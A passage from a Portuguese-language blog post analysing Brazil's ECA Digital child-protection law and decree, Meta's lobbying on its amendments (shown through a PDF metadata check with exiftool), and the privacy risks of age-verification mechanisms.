<a href="https://www.reuters.com/legal/zuckerberg-meta-are-sued-failing-address-sex-trafficking-child-exploitation-2023-03-21/">Um processo</a> de 2023, feito por investidores da empresa, <strong>acusa a Meta de ignorar evidências sistêmicas de atividade criminal em suas redes</strong>.
Destaco um trecho da reportagem (tradução minha):</p>

<blockquote>
  <p>Dada a sua incapacidade em explicar como tentam resolver o problema, a única inferência lógica é que decidem conscientemente permitir que as plataformas da Meta promovam e facilitem o tráfico humano / exploração sexual</p>
</blockquote>

<p>A poucos dias atrás, a <a href="https://www.theguardian.com/technology/2026/mar/24/meta-new-mexico-jury">Meta foi condenada</a> por enganar consumidores quanto à segurança de suas plataformas, e por permitir a exploração sexual de seus usuários, incluindo crianças.
Segundo a reportagem do The Guardian, investigadores apontam que <strong>a empresa confia demais em IA para moderar suas plataformas, gerando um volume enorme de relatórios de baixa qualidade</strong> que são inúteis para as autoridades legais.</p>

<p>Quando o tema é a exploração sexual de crianças em suas plataformas, esse está longe de ser o único processo no mundo contra a Meta ou outras big techs.
Talvez venha daí o interesse de lobbying destas empresas em leis como a do ECA Digital.</p>

<h2 id="lobbying-e-pl-26282022">Lobbying e PL 2628/2022</h2>

<p>O <a href="https://www.camara.leg.br/proposicoesWeb/fichadetramitacao?idProposicao=2477340">Projeto de Lei nº 2628/2022</a> é o que da origem à Lei Felca.
Até onde sei, Felca não teve nenhuma relação com o projeto.
As reações ao seu vídeo apenas aceleraram a aprovação da lei, cuja proposta já existia quase 3 anos antes do vídeo sobre adultização.</p>

<p>Por exemplo, em Junho de 2025 (ou seja, pouco antes do vídeo-denúncia do Felca) representantes da Meta, Google e de serviços de streaming (Netflix, Disney, Amazon) estiveram em <a href="https://www.youtube.com/watch?v=w64FybZifnw">uma audiência pública</a>, que foi registrada na íntegra.
Durante a audiência, a representante da Meta sugere que a verificação etária seja feita na loja de aplicativos, logo após o fornecimento da idade ao sistema operacional no momento em que é feita configuração inicial do dispositivo.</p>

<p>Entre as 56 emendas propostas para o projeto de lei, destaco duas apresentadas pelo deputado Fernando Máximo:</p>
<ul>
  <li>EMC 20/2025: remove do artigo 23 a obrigação de provedores de aplicação de internet (com mais de 1 milhão de usuários crianças registrados) de relatar os resultados de moderação de conteúdos ou de contas.</li>
  <li>EMC 21/2025: remove do artigo 25 a aplicação de multas e sanções criminais específicas do descumprimento desta lei, apontando ao invés disso para o Marco Civil da Internet e para a LGPD.</li>
</ul>

<p>Não vou debater o mérito das propostas, pois legislação não é minha especialidade.
Mas o fato é que, como <a href="https://www.intercept.com.br/2025/08/14/deputado-bolsonarista-emenda-lobista-meta-lei-criancas-internet/">reportado pelo The Intercept Brasil</a>, <strong>apesar de propostos e assinados pelo deputado Fernando Máximo, os metadados nos documentos apontam autoria de Marconi Borges Machado, gerente de políticas públicas da Meta</strong>.
E, de fato, qualquer um pode baixar as emendas e replicar a observação do The Intercept:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sha256sum </span>EMC-20-<span class="k">*</span><span class="nt">-PL-2628-</span><span class="k">*</span>.pdf EMC-21-<span class="k">*</span><span class="nt">-PL-2628-</span><span class="k">*</span>.pdf
40c8a2b99e17a1d54a960af52d4034c473403f3af2fd13c460619d6109b696fc  EMC-20-2025-CCOM-<span class="o">=</span>_-PL-2628-2022.pdf
1ced7c3906eba9d8a0711d593a215318eb80ea385e11ee0511fd73c95e35c042  EMC-21-2025-CCOM-<span class="o">=</span>_-PL-2628-2022.pdf

<span class="nv">$ </span>exiftool EMC-20-<span class="k">*</span><span class="nt">-PL-2628-</span><span class="k">*</span>.pdf EMC-21-<span class="k">*</span><span class="nt">-PL-2628-</span><span class="k">*</span>.pdf | <span class="nb">grep</span> <span class="nt">-e</span> <span class="s1">'Author'</span> <span class="nt">-C</span> 2
Page Count                      : 2
Language                        : en-BR
Author                          : Marconi Borges Machado
Creator                         : Writer
Producer                        : LibreOffice 6.4<span class="p">;</span> modified using iText® 5.5.13.1 ©2000-2019 iText Group NV <span class="o">(</span>AGPL-version<span class="o">)</span>
<span class="nt">--</span>
Page Count                      : 1
Language                        : en-BR
Author                          : Marconi Borges Machado
Creator                         : Writer
Producer                        : LibreOffice 6.4<span class="p">;</span> modified using iText® 5.5.13.1 ©2000-2019 iText Group NV <span class="o">(</span>AGPL-version<span class="o">)</span>
</code></pre></div></div>

<p>Segundo o The Intercept Brasil:</p>

<blockquote>
  <p>a Meta tratou com absoluta normalidade o fato de ter sido autora das emendas apresentadas pelo deputado</p>
</blockquote>

<p>No fim, ambos os trechos que seriam removidos por estas duas emendas mantiveram-se na redação final da lei (onde artigos 23 e 25 tornam-se respectivamente 31 e 35).</p>

<h2 id="lei-152112025">Lei 15.211/2025</h2>

<p>Chegamos enfim à <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2025/Lei/L15211.htm">Lei 15.211/2025</a>, conhecida como Lei Felca, e que fornece a base do “ECA Digital”.
Ela foi sancionada em Setembro de 2025, e foi seguida de uma Medida Provisória fazendo a lei entrar em vigor seis meses após sua publicação.
Vou destacar alguns trechos que achei interessante, algumas dúvidas e outros comentários do meu ponto de vista leigo em questões legislativas e do Direito.</p>

<blockquote>
  <p>Art. 1º Esta Lei dispõe sobre a proteção de crianças e de adolescentes em ambientes digitais e aplica-se a todo produto ou serviço de tecnologia da informação direcionado a crianças e a adolescentes no País <strong>ou de acesso provável por eles, independentemente de sua localização, desenvolvimento, fabricação, oferta, comercialização e operação</strong>.</p>
</blockquote>

<p>A lei logo em seguida define “acesso provável” através de expressões como “suficiente probabilidade de uso”, “considerável facilidade ao acesso” e “especialmente no caso de produtos ou serviços que tenham por finalidade permitir a interação social e o compartilhamento de informações em larga escala entre usuários em ambiente digital”.
A última me parece uma forma longa de se referir a redes sociais em especial, mas as primeiras são muito imprecisas.
O trecho que destaquei em negrito aumenta ainda mais o alcance da lei: aplica-se independente de como e onde o produto é desenvolvido, comercializado e/ou operado.
Talvez seja esse o intuito, mas não me surpreenderia se o “aplica-se” possa valer para literalmente qualquer coisa.</p>

<blockquote>
  <p>Art. 2º […] § 2º Para os fins desta Lei, <strong>não são consideradas produtos ou serviços de tecnologia da informação as funcionalidades essenciais para o funcionamento da internet, como os protocolos e os padrões técnicos abertos e comuns que permitem a interconexão entre as redes de computadores que compõem a internet</strong>.</p>
</blockquote>

<p>No que diz respeito a sistemas operacionais abertos, como Linux e BSDs, já vi discussões onde alguém chegou neste artigo e imediatamente parou de ler.
Concluíram, com certa lógica, que estes sistemas fazem parte das “funcionalidades essenciais para o funcionamento da internet”.
Infelizmente, o artigo 12 (mais adiante) claramente aponta a responsabilidade de provedores de sistemas operacionais a se adequarem à lei.
Aqui eu assumo então que apenas os protocolos de comunicação em rede foram desconsiderados.</p>

<blockquote>
  <p>Art. 3º […] Parágrafo único. <strong>A criança e o adolescente têm o direito de ser educados, orientados e acompanhados por seus pais ou responsáveis legais quanto ao uso da internet e à sua experiência digital, e a estes incumbe o exercício do cuidado ativo e contínuo, por meio da utilização de ferramentas de supervisão parental</strong> adequadas à idade e ao estágio de desenvolvimento da criança e do adolescente.</p>
</blockquote>

<p>Ótimo!
Foi isso o que Felca defendeu no vídeo, quanto aos direitos das crianças e às responsabilidades dos pais ou responsáveis legais.</p>

<blockquote>
  <p>Art. 6º [..] § 1º <strong>O disposto neste artigo não exime os pais e responsáveis legais, as pessoas que se beneficiam financeiramente da produção ou distribuição pública de qualquer representação visual de criança ou de adolescente e as autoridades administrativas, judiciárias e policiais de atuarem para impedir sua exposição</strong> às situações violadoras previstas no caput deste artigo.</p>
</blockquote>

<p>Ótimo!
Me parece que pais ou qualquer pessoa que se beneficie financeiramente da exploração sexual de crianças (tal como nos casos expostos por Felca) não estão isentos de impedir que isso aconteça.
Imagino que nestes casos se aplicaria o ECA tradicional.</p>

<blockquote>
  <p>Art. 9º […] § 1º Para dar efetividade ao disposto no caput, <strong>deverão ser adotados mecanismos confiáveis de verificação de idade a cada acesso do usuário ao conteúdo</strong>, produto ou serviço de que trata o caput deste artigo, <strong>vedada a autodeclaração</strong>.</p>
</blockquote>

<p>A partir deste ponto, fica claro que a lei não afeta apenas crianças e adolescentes.
Tenha 18, 25, 40 ou 80 de anos de idade, o usuário terá que realizar algum tipo de verificação etária, e vedar a autodeclaração implica que isso deve passar pelos tais “mecanismos confiáveis” (que nunca são definidos).
É óbvio que isso gera preocupação: atualmente, as principais formas de verificação de idade envolvem enviar um scan do seu documento de identidade, ou então imagens do seu rosto, ou mesmo dados de cartão de crédito, a um serviço terceirizado.
Além da preocupação com privacidade, dado o rastreio de identidade que isso possibilita, esté é também o tipo de dado que pode ser mais bem aproveitado por criminosos para aplicar golpes e fraude, incluindo roubo de identidade.</p>

<p>Essas preocupações não são apenas teóricas.
Pouco depois do Reino Unido ter adotado leis semelhantes exigindo a verificação de idade, <a href="https://discord.com/press-releases/update-on-security-incident-involving-third-party-customer-service">70 mil usuários do Discord </a> tiveram dados sensíveis, incluindo fotos de seus documentos, vazados e comprometidos.</p>

<blockquote>
  <p>Art. 11. <strong>O poder público poderá atuar como regulador, certificador ou promotor de soluções técnicas de verificação de idade</strong>, observados os limites da legalidade, da proteção à privacidade e dos direitos fundamentais previstos em lei.</p>
</blockquote>

<p>Ok.
Cerca de 3 anos depois do projeto de lei, mais 6 meses após sua aprovação, mais 10 dias com a lei em vigor, o poder público segue sem regular ou certificar solução alguma para verificação de idade, muito menos uma que observe a proteção da privacidade.</p>

<blockquote>
  <p>Art. 12. Os provedores de <strong>lojas de aplicações</strong> de internet <strong>e de sistemas operacionais de terminais</strong> deverão:</p>

  <p>I – <strong>tomar medidas proporcionais, auditáveis e tecnicamente seguras para aferir a idade ou a faixa etária dos usuários</strong>, observados os princípios previstos no art. 6º da Lei nº 13.709, de 14 de agosto de 2018 (Lei Geral de Proteção de Dados Pessoais);</p>

  <p>II – <strong>permitir que os pais ou responsáveis legais configurem mecanismos de supervisão parental</strong> voluntários e supervisionem, de forma ativa, o acesso de crianças e de adolescentes a aplicativos e conteúdos; e</p>

  <p>III – <strong>possibilitar, por meio de Interface de Programação de Aplicações (Application Programming Interface – API) segura e pautada pela proteção da privacidade desde o padrão, o fornecimento de sinal de idade aos provedores de aplicações de internet, exclusivamente para o cumprimento das finalidades desta Lei</strong> e com salvaguardas técnicas adequadas.</p>

  <p>[…]</p>

  <p>§ 3º <strong>Ato do Poder Executivo regulamentará os requisitos mínimos de transparência, de segurança e de interoperabilidade para os mecanismos de aferição de idade e de supervisão parental adotados pelos sistemas operacionais e pelas lojas de aplicativos</strong>.</p>
</blockquote>

<p>Este artigo é uma das principais fontes de polêmica em torno da nova lei.
Não acho que o item II gere muita discussão, mas o I afeta qualquer dispositivo que usamos no dia a dia (computadores e celulares) e o III cria preocupações de privacidade.</p>

<p>Thiago Ayub <a href="https://www.tecmundo.com.br/seguranca/411604-a-lei-felca-pode-bloquear-o-linux-no-brasil.htm">escreveu uma coluna no TecMundo</a> com título “A Lei Felca pode bloquear o Linux no Brasil?”.
Sua conclusão é que sim, a lei poderia ser interpretada para tal fim se assim desejar o órgão regulador.
Em especial devido ao requisito que aparece no fim do texto da lei, após definição das possíveis sanções:</p>

<blockquote>
  <p>Art. 40. <strong>Os fornecedores dos produtos ou serviços de que trata o art. 1º desta Lei deverão manter representante legal no País</strong> com poderes para receber citações, intimações ou notificações, entre outros, em quaisquer ações judiciais e procedimentos administrativos, bem como responder perante órgãos e autoridades do Poder Executivo, do Poder Judiciário e do Ministério Público e assumir, em nome da empresa estrangeira, suas responsabilidades perante os órgãos e as entidades da administração pública.</p>
</blockquote>

<p>Juntamos então:</p>
<ul>
  <li>Artigo 1: define um escopo que pode ser interpretado da forma mais abrangente possível</li>
  <li>Artigo 40: exige que aqueles tratados no artigo 1 mantenham representante legal no país</li>
  <li>Artigo 12: responsibiliza sistemas operacionais por aferir idade e compartilhar esse dado (via API ainda não definida) com efetivamente qualquer aplicação na internet</li>
  <li>Artigo 35: estabelece punições para quem descumprir a lei, incluindo multa de até R$ 50 mihões e proibição no país</li>
  <li>O fato de que a lei já está em vigor, mas nenhum mecanismo de verificação de idade que preserva a privacidade foi descrito na norma</li>
</ul>

<p>Não é de se espantar que projetos como o <a href="https://itsfoss.com/news/midnightbsd-age-verification/">MidnightBSD</a> tenham preventivamente bloqueado o uso do seu sistema no Brasil.
Embora a reação seja um tanto precoce, já que a ANPD não determinou os requisitos técnicos que vai exigir de fato, acho perfeitamente razoável a postura de auto-preservação.
O cenário gerado é de insegurança jurídica, requisitos que alguns projetos menores não conseguem cumprir, e exigência de práticas que colocam em risco a privacidade e segurança do usuário final.</p>

<blockquote>
  <p>Art. 13. <strong>Os dados coletados para a verificação de idade de crianças e de adolescentes poderão ser utilizados unicamente para essa finalidade, vedado seu tratamento para qualquer outro propósito</strong>.</p>
</blockquote>

<p>Vemos neste trecho, que aparece de forma semelhante em outras partes desta lei, que houve certa preocupação em proteger os dados sensíveis coletados para a verificação de idade.
Me parece claro que, <strong>caso esses dados sejam utilizados para qualquer outro propósito, o uso é indevido</strong>, e imagino que responderiam por violação da LGPD.
Porém, destaco aqui algo que não vi sendo discutido em outros lugares: <strong>essa proteção dos dados se aplica somente a crianças e adolescentes</strong>.
Se esses dados são coletados para verificar sua idade, e você não é uma criança e adolescente, o artigo 13 também veda o tratamento destes para qualquer outro propósito?
Na minha leitura não, mas imagino que caberá a um juiz decidir.</p>

<p>O texto da lei segue da seguinte forma (é uma lei longa):</p>
<ul>
  <li>Art. 16 a 19 definem os mecanismos de controle parental e monitoramento infantil</li>
  <li>Art. 20 e 21 proíbem loot boxes e restrigem troca de mensagens em jogos eletrônicos</li>
  <li>Art. 22 proíbe o perfilamento voltado a publicidade comercial para crianças</li>
  <li>Art. 23 proíbe monetização e o impulsionamento de conteúdos que retratem crianças e adolescentes de forma erotizada ou sexualmente sugestiva</li>
  <li>Art. 24 exige que provedores vinculem contas de menores de 16 a contas dos seus responsáveis legais</li>
  <li>Art. 26 proíbe (novamente) o perfilamento de crianças</li>
  <li>Art. 27 exige a remoção de conteúdos de exploração sexual, quando detectados</li>
  <li>Art. 28 exige mecanismos que possam ser usados para notificar abusos nas plataformas</li>
  <li>Art. 29 e 30 exigem a remoção de conteúdos inapropriados que estejam sendo expostos a crianças, e o direito à contestação da decisão por quem publicou o conteúdo</li>
  <li>Art. 31 exige relatórios semestrais de provedores com mais de um milhão de usuários menores de idade</li>
  <li>Art. 32 e 33 tratam do abuso dos mecanismos de denúncia, visando coibir sua utilização indevida para censura ou perseguição</li>
</ul>

<p>O artigo 34 me chamou a atenção:</p>

<blockquote>
  <p>Art. 34. A autoridade administrativa autônoma de proteção dos direitos de crianças e de adolescentes no ambiente digital ficará responsável por fiscalizar o cumprimento desta Lei em todo o território nacional e poderá editar normas complementares para regulamentar os seus dispositivos.</p>

  <p>§ 1º <strong>A regulamentação não poderá, em nenhuma hipótese, autorizar ou resultar na implantação de mecanismos de vigilância massiva, genérica ou indiscriminada</strong>, vedadas práticas contra os direitos fundamentais à liberdade de expressão, à privacidade, à proteção integral e ao tratamento diferenciado dos dados pessoais de crianças e de adolescentes, nos termos da Constituição Federal e das Leis nºs 8.069, de 13 de julho de 1990 (Estatuto da Criança e do Adolescente), e 13.709, de 14 de agosto de 2018 (Lei Geral de Proteção de Dados Pessoais).</p>

  <p>§ 2º Nas atividades previstas no caput deste artigo, <strong>a autoridade competente deverá observar as assimetrias regulatórias e adotar abordagem responsiva, assegurando tratamento diferenciado e proporcional a serviços de natureza, risco e modelo de negócio distintos</strong>.</p>
</blockquote>

<p>Novamente vemos uma preocupação (bem fundada) de que os mecanismos que a lei exigem poderiam resultar em vigilância massiva e indiscriminada.
A solução? Afirmar que isso não poderá acontecer.
Importante ressaltar que a responsabilidade por este resultado parece recair sobre a ANPD.
Ora, quem vai cobrar o cumprimento do artigo 34, se a própria ANPD é quem fiscaliza a lei?</p>

<p>O segundo parágrafo parece flexibilizar a fiscalização e regulamentação da lei, observando “assimetrias regulatórias”, “tratamento diferenciado” e que seja “proporcional a serviços de natureza, risco e modelo de negócio distintos”.
Se eu fosse otimista, diria que isso permite que a lei não recaia sobre projetos menores, sobre produtos que não são voltados a crianças, e sobre a privacidade da população de forma geral.
Infelizmente, apenas o tempo dirá.</p>

<p>Continuando:</p>
<ul>
  <li>Art. 35 define as sanções e multas em caso de descumprimento da lei</li>
  <li>Art. 37 é parecido com o 34 e concede poder de regulamentação ao Executivo</li>
  <li>Art. 38 exige um adesivo em dispositivos eletrônicos que informe aos pais sobre a responsabilidade de proteger a criança e o adolescente na internet</li>
</ul>

<blockquote>
  <p>Art. 39. As obrigações previstas nos arts. 6º, 17, 18, 19, 20, 27, 28, 29, 31, 32 e 40 desta Lei aplicar-se-ão conforme as características e as funcionalidades do produto ou serviço de tecnologia da informação, moduladas de acordo com o grau de interferência do fornecedor do produto ou serviço sobre os conteúdos veiculados disponibilizados, o número de usuários e o porte do fornecedor.</p>

  <p>[…]</p>

  <p>§ 3º A regulamentação definirá critérios objetivos para a aferição do grau de intervenção e para a aplicação proporcional das obrigações previstas neste artigo.</p>
</blockquote>

<p>Me parece que a ideia deste artigo é permitir que a lei seja aplicada de forma diferente de acordo com a natureza do produto de tecnologia da informação.
Por exemplo: a um vendedor de roteadores não caberiam as mesmas obrigações que a uma rede social.
Mas ressalto que essa “modulação” de obrigações não se aplica ao artigo 12, onde a verificação de idade é exigida.
Ali ainda dependemos de critérios do Executivo e da ANPD.</p>

<h2 id="decreto-128802026">Decreto 12.880/2026</h2>

<p>Um dia depois da Lei Felca entrar em vigor, Lula assina o <a href="https://www.planalto.gov.br/ccivil_03/_ato2023-2026/2026/Decreto/D12880.htm">Decreto nº 12.880</a>, que regulamenta o ECA Digital.
O decreto é quase tão longo quanto a lei: repete alguns pontos da mesma, atribui (como já era esperado) à ANPD o papel de fiscalização, institui uma política nacional para o ECA digital, cria um centro de notificações dedicado na Polícia Federal, e torna mais precisas algumas definições.</p>

<ul>
  <li>No artigo 9, define quais são os mecanismos de incentivo ao uso excessivo, problemático ou compulsivo de produtos ou serviços de tecnologia da informação</li>
  <li>No artigo 10, define o que são práticas manipulativas, enganosas ou coercitivas nestes mesmos produtos</li>
  <li>No artigo 11, define obrigações a serviços que disponibilizem modelos de linguagem a crianças e adolescentes</li>
  <li>No artigo 15, define alguns dos conteúdos, produtos e serviços proibidos para crianças e adolescentes</li>
  <li>No artigo 16, define alguns itens que não se enquadram como conteúdo pornográfico, incluindo livros e músicas</li>
  <li>No artigo 34, define que conteúdo monetizado contendo a imagem de crianças só poderá ser exibido mediante autorização judicial por parte dos responsáveis
    <ul>
      <li>Esta última é especialmente interessante no contexto da denúncia de Felca, pois <strong>estabelece nos meios digitais a mesma medida que já existia quanto à exibição de menores em televisão ou publicidade</strong></li>
    </ul>
  </li>
</ul>

<p>Para minha surpresa, o artigo 24 do decreto aumenta as proteções de privacidade que a lei 15.211/2025 descrevia:</p>

<blockquote>
  <p>Art. 24. A adoção dos mecanismos para aferição de idade referidos no Capítulo IV da Lei nº 15.211, de 17 de setembro de 2025, observará:</p>

  <p>[…]</p>

  <p>IV - a minimização de dados, entendida como a <strong>restrição do tratamento de dados pessoais ao mínimo necessário para fins de aferição de idade</strong>;</p>

  <p>[…]</p>

  <p>VI - a <strong>vedação ao compartilhamento contínuo, automatizado e irrestrito de dados pessoais</strong>;</p>

  <p>[…]</p>

  <p>VIII - a <strong>vedação à rastreabilidade da identidade e do histórico de acessos, solicitações e verificações realizadas pelos cidadãos</strong>;</p>

  <p>[…]</p>

  <p>§ 3º  <strong>O tratamento de dados decorrente da coleta de documentos deverá limitar-se ao dado relativo à idade</strong> ou à confirmação da faixa etária, <strong>vedado o armazenamento, a retenção ou qualquer forma de conservação da imagem, da cópia do documento ou da informação, que deverá ser eliminada de modo imediato e irreversível após a captura da informação necessária</strong>, nos termos do disposto na Lei nº 13.709, de 14 de agosto de 2018.</p>
</blockquote>

<p>Diferentemente do artigo 13 da lei, essas regras não estão condicionadas ao usuário ser criança/adolescente, e protegem também a privacidade dos adultos.
O decreto deixa claro que <strong>qualquer imagem de documento deverá ser eliminada imediatamente após aferição de idade, não podendo ser compartilhada ou tratada para nenhum outro fim</strong>.</p>

<p>Embora eu ainda prefira não ter que me sujeitar ao risco de golpes e fraudes ao enviar um documento meu a esse tipo de serviço, admito que esse artigo mitiga (ao menos na teoria) parte do risco.
Na prática, acredito que a real proteção da privacidade dependerá do mecanismo exato exigido pela ANPD, além de sua capacidade de fiscalização.</p>

<p>O artigo seguinte do decreto diz respeito às APIs mencionadas no artigo 12 da lei:</p>

<blockquote>
  <p>Art. 25.  As lojas de aplicações de internet e os sistemas operacionais deverão fornecer sinais de idade de usuários aos fornecedores de produtos ou serviços de tecnologia da informação, <strong>gratuitamente</strong>, nos termos do disposto no art. 12, caput, inciso III, da Lei nº 15.211, de 17 de setembro de 2025, sem prejuízo de mecanismos próprios que estes últimos venham a adotar.</p>

  <p>§ 1º  Os sinais de idade de que trata o caput ficarão limitados aos dados estritamente necessários à confirmação da idade mínima exigida para acesso ao produto ou ao serviço de tecnologia da informação, <strong>vedado o envio de data de nascimento exata, da identidade civil ou de dados de perfilamento do usuário</strong>.</p>

  <p>§ 2º  Para cumprimento do disposto no caput, as lojas de aplicações de internet e os sistemas operacionais de terminais deverão:
I - solicitar aos titulares a declaração da idade ou da faixa etária ao criar a conta;
II - <strong>aferir a idade, mediante emprego de método confiável, nos termos estabelecidos pela ANPD, preferencialmente com a adoção de credenciais verificáveis</strong>, nos termos do disposto no art. 11 da Lei nº 15.211, de 17 de setembro de 2025;
III - permitir a contestação e a retificação da classificação etária mediante apresentação de evidência adicional, com decisão fundamentada em prazo razoável; e
IV - <strong>adotar medidas para evitar a criação de múltiplas contas ou outros artifícios com o objetivo de burlar os mecanismos de aferição de idade</strong>.</p>

  <p>[…]</p>
</blockquote>

<p>Primeiramente, fica decretado que o acesso às APIs será gratuito.
Isso impede, por exemplo, que a Apple cobre uma taxa dos aplicativos que queiram obter o sinal de idade da plataforma.</p>

<p>O 1o parágrafo mitiga parte da preocupação quanto à privacidade dos usuários ao limitar os dados que serão enviados por essa API.
<strong>É proibido enviar a data de nascimento exata, é proibido enviar a identidade, e é proibido enviar qualquer outro dado de perfilamento</strong>.
Um pouco mais adiante, no inciso II, o decreto dá até mesmo uma dica do mecanismo preferencial da ANPD: credenciais verificáveis.
Aqui eu admito novamente que, ao menos na teoria, o decreto realmente procura minimizar o risco à privacidade dos usuários.</p>

<p>O inciso IV é, ao menos no contexto de sistemas open source, impossível de enforçar.
Algo semelhante aparece também no artigo 29 do decreto.
<strong>Não acho que a lei precise, ou nem que deva tentar, garantir um mecanismo incontornável.</strong>
<strong>Sempre haverá como burlar mecanismos de aferição de idade</strong> (assim como no mundo físico, onde jovens entram em bares e baladas que deveriam ser restritos a eles), <strong>e tudo bem</strong>.
Basta que os efeitos negativos da lei (risco à privacidade de todos, viabilização de censura e vigilância em massa, desincentivo à competição de mercado) não sejam desproporcionais aos pontos positivos.</p>

<h2 id="orientações-da-anpd">Orientações da ANPD</h2>

<p>Nas disposições finais do decreto, o artigo 49 aponta novamente para a ANPD:</p>

<blockquote>
  <p>Art. 49. A <strong>ANPD definirá as etapas de implementação para soluções de aferição de idade</strong>, de modo a estimular o desenvolvimento de ecossistema de soluções públicas e privadas interoperáveis, confiáveis e eficazes, que preservem a liberdade de escolha do usuário, observado o disposto no art. 5º, § 3º, da Lei nº 15.211, de 17 de setembro de 2025.</p>

  <p>Parágrafo único. Para cumprimento do disposto no caput, a ANPD:</p>

  <p>I - adotará abordagem responsiva, considerados as funcionalidades e o nível de risco de cada produto, serviço e conteúdo, e a evolução tecnológica e os padrões técnicos aplicáveis;</p>

  <p>II - <strong>emitirá recomendações e orientações acerca das práticas relevantes para a implementação de mecanismos confiáveis de aferição de idade, observado o disposto no art. 24</strong>; e</p>

  <p>III - estabelecerá prioridades para o monitoramento da implementação de soluções de aferição de idade, considerado o nível de risco para crianças e adolescentes.</p>
</blockquote>

<p>Infelizmente, até a data de hoje, a ANPD não oficializou orientações técnicas definitivas sobre o que consta no ECA Digital (agora entendido como o conjunto da lei e do decreto).
Temos, até então, apenas a linguagem vaga da lei, algumas questões mais específicas no decreto, e <a href="https://www.gov.br/anpd/pt-br/assuntos/eca-digital/mecanismos-confiaveis-de-afericao-de-idade-orientacoes-preliminares.pdf/view">“orientações preliminares” da ANPD</a>.
Estas últimas se baseiam em seis princípios:</p>
<ul>
  <li>Proporcionalidade</li>
  <li>Acurácia, robustez e confiabilidade</li>
  <li>Privacidade e proteção de dados pessoais</li>
  <li>Inclusão e não discriminação</li>
  <li>Transparência e auditabilidade</li>
  <li>Interoperabilidade</li>
</ul>

<p>Ao descrever cada um destes, a ANPD aponta os trechos relevantes da lei e do decreto, assim como fiz aqui.
Destaco das orientações o seguinte:</p>
<ul>
  <li>Fazem breve menção a técnicas criptográficas de ZKPs (Zero Knowledge Proofs), mas não instituem seu uso</li>
  <li>ANPD descreve seu entendimento de auditabilidade, e recomenda manter logs de auditoria que não reproduzam os dados pessoais que serviram de insumo ao processo</li>
  <li>Admitem que mesmo soluções baseadas em tokens criptográficos podem introduzir riscos à privacidade/segurança, e apontam para arquiteturas double-blind como possível solução</li>
  <li>Referenciam um <a href="https://www.gov.br/anpd/pt-br/centrais-de-conteudo/documentos-tecnicos-orientativos/radar-tecnologico-5-mecanismos-de-afericao-de-idade.pdf">documento técnico</a> que descreve com mais detalhes alguns mecanismos de aferição de idade</li>
</ul>

<h2 id="verifiable-credentials-e-zkps-">Verifiable Credentials e ZKPs (?)</h2>

<p>Paro por aqui minha análise do ECA Digital.
Fiz minhas observações de forma leiga sobre a legislação, mas fica difícil julgar os mecanismos técnicos que serão exigidos sem tê-los definidos de fato.
O título desta seção aponta para o tipo de mecanismos que acho que será utilizado, mas não tenho como confirmar.</p>

<p>Durante <a href="https://www.youtube.com/watch?v=gG0cPB_H5fM&amp;list=PLQq8-9yVHyOZzFv1_Pl7Gq-ZO3ax-vdpH">evento de inauguração da nova lei</a>, Thiago Tavares da SaferNet Brasil descreve cenários hipotéticos possíveis com a implementação do ECA Digital:</p>
<ol>
  <li>Em um deles, o governo desenvolve e disponibiliza em tempo hábil uma infraestrutura para verificação de idade no Gov.BR em complemento a soluções existentes no setor privado.
    <ul>
      <li>Neste cenário, supondo que a maioria das grandes plataformas com sede no país se adequem ao ECA Digital, questiona o que será feito com os outliers: empresas sem representante legal no Brasil e que não entraram em conformidade com a lei. Serão bloqueadas, como aponta Ayub?</li>
      <li>Um outro questionamento é de, em caso de erosão democrática (leia-se: golpe militar, abuso de autoridade), como evitar que a verificação etária torne-se uma justificativa e/ou mecanismo para que um poder ditatorial implemente vigilância em massa? A resposta, na minha opinião, é que neste caso vamos depender justamente dos “outliers” apontados no item anterior para prover sistemas com mecanismos de proteção contra censura governamental e outros abusos de autoridade.</li>
      <li>Além disso, e dado o número de imigrantes e turistas que o Brasil recebe, como garantir que as soluções de aferição de idade sejam acessíveis a estes que não possuem documentos brasileiros? Para isso, dependemos de um sistema interoperável internacionalmente, que não existe (ao menos não ainda).</li>
    </ul>
  </li>
  <li>Em outro cenário, a infraestrutura pública não fica pronta, e o setor privado avança na coleta de dados biométricos para implementar verificação de idade.
    <ul>
      <li>Aqui, ele indaga sobre como evitar fraudes de face swapping e venda de credenciais em mercados ilegais (que já acontece hoje, e terá mais demanda amanhã).</li>
    </ul>
  </li>
</ol>

<p>Do meu ponto de vista, o segundo cenário é o que já vivemos hoje, resta saber por quanto tempo.
Acho que o poder público errou ao botar em vigor uma lei extremamente abrangente sem antes definir concretamente todos os requisitos exigidos por ela.
Mesmo que a lei (+decreto) seja em muitos aspectos positiva, isso gera insegurança jurídica e ocasiona, a partir de já, na implementação equivocada, irregulada e insegura de mecanismos de verificação de idade.
Não sei se a falha é do Legislativo influenciado por lobistas das big techs, se é do Executivo que sancionou a lei antes da hora como medida eleitoreira, ou se é da ANPD que se atrasou na definição dos parâmetros normativos do ECA Digital.</p>

<p>O fato é que empresas atualmente possuem duas opções quanto à verificação de idade, ambas prejudiciais ao cidadão:</p>
<ul>
  <li>“Se adequar” à leitura inicial da lei, utilizando mecanismos de verificação de idade que são prejudiciais à segurança e privacidade dos usuários. É o que faz o Discord, por exemplo.</li>
  <li>Se recusar a implementar verificação de idade, ao menos enquanto não for regulamentada, correndo riscos jurídicos caso alguém decida empunhar contra elas todo o rigor da lei.</li>
</ul>

<p>Enfim, a ANPD <a href="https://www.gov.br/anpd/pt-br/assuntos/eca-digital">publicou um cronograma</a> contendo, entre outros pontos de estimativa:</p>
<ul>
  <li>A partir de abril/2026 - Realizar “Tomada de Subsídios” com vistas a colher contribuições técnicas da sociedade</li>
  <li>A partir de agosto/2026 - Publicação de orientações e parâmetros normativos sobre mecanismos de aferição de idade</li>
  <li>A partir de novembro/2026 - Publicação dos regulamentos de fiscalização e da aplicação de sanções administrativas</li>
  <li>A partir de janeiro/2027 - Ações de fiscalização</li>
</ul>

<p>Até lá, recomendo ao leitor técnico que se familiarize com os mecanismos de verificação de idade descritos no documento que citei ao fim da seção anterior (ele é mais fácil de ler do que a legislação).
